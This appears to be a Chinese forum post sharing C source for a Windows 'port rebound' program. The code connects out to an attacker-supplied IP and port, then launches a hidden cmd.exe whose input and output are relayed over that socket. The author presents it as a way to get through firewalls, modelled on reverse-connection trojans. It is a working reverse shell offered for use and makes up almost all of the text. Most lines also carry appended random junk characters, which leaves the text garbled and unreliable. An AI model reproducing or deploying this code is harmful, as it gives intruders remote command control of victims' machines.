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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6-fv<Pn  
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/* ============================== q\]X1N  
Rebound port in Windows NT }cr'o"4  
By wind,2006/7 JE7m5k Ta  
===============================*/ ?-vWNv  
#include 849,1n^  
#include C5Q!_x(  
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#pragma comment(lib,"wsock32.lib") 7XK0vKmW3  
8hD[z}  
void OutputShell(); Cj<8r S4+  
SOCKET sClient; UaF~[toX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {MSE}|A\V  
mXOI"B9Sq  
void main(int argc,char **argv) ]i$0s  
{ !@F {FR  
WSADATA stWsaData; YnRO>`  
int nRet; dN)8r  
SOCKADDR_IN stSaiClient,stSaiServer; T7.Iqw3p  
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if(argc != 3) <Q\KS  
{ vxj:Y'}  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4,z|hY_*t  
return; YE~IO5   
} ds9 'k.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); rB$~,q&.V  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e ,/]]E/o  
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stSaiClient.sin_family = AF_INET; {zvaZY|K"  
stSaiClient.sin_port = htons(0); KE~Q88s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8O9^g4?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lAP k/G  
{ U?le|tK  
printf("Bind Socket Failed!\n"); Hf?@<4  
return; ,3Q~X$f  
} jRU: un4  
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stSaiServer.sin_family = AF_INET; N68$b#9Ry  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jJ$B^Y"4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dX cbS<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V;xPZ2C;  
{ J W@6m  
printf("Connect Error!"); fq6Obh=A#  
return; @6>Q&G Yqt  
} tfGs| x  
OutputShell(); j'z#V_S  
} AAlc %d/9  
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void OutputShell() LJ/He[r|[  
{ S3ooG14Ls  
char szBuff[1024]; $h{m")]  
SECURITY_ATTRIBUTES stSecurityAttributes; ]O"f%   
OSVERSIONINFO stOsversionInfo; dDpAS#'s\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FT- .gi0  
STARTUPINFO stStartupInfo; )bOfs*S  
char *szShell; GHcx@||C?  
PROCESS_INFORMATION stProcessInformation; 5lG\ Z?  
unsigned long lBytesRead; 7sxX?u  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G|rE\h 2w  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f47]gtB-  
stSecurityAttributes.lpSecurityDescriptor = 0; EVX3uC}{  
stSecurityAttributes.bInheritHandle = TRUE; ju{Y6XJ)  
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?[Lk]A&"L2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K>$f#^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !Zj ]0,^  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (w hl1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -<s Gu9  
stStartupInfo.wShowWindow = SW_HIDE; ^el+ej/=  
stStartupInfo.hStdInput = hReadPipe;  @./h$]6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H~+A6g]T  
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GetVersionEx(&stOsversionInfo); 4f[%Bb  
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switch(stOsversionInfo.dwPlatformId) fZo#:"{/K  
{ T?pS2I~  
case 1: 8Agg%*Qs}  
szShell = "command.com"; smf"F\W s  
break; :snO*Zg  
default: U|} ?{x  
szShell = "cmd.exe"; VV$t*9w  
break; ,/{e%J  
} ."$t&[;s  
- eG~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %lHHTZ{+  
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send(sClient,szMsg,77,0); :25LQf^nz  
while(1) 7Bp7d/R-  
{ 2 |je{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A `Z/B[)  
if(lBytesRead) kXSX<b<%  
{ uAn}qrqE9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5daq}hsQs  
send(sClient,szBuff,lBytesRead,0); @L3XBV2  
} 2FIL@f|\7z  
else y/Xs+ {x  
{ ' k,2*.A  
lBytesRead=recv(sClient,szBuff,1024,0); l a3B`p  
if(lBytesRead<=0) break; jz bq{#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R@o&c%K"  
} (I >Ch)'  
} D@bGJc0  
~lw9sm*2v2  
return; *S.U8;*Xj  
}
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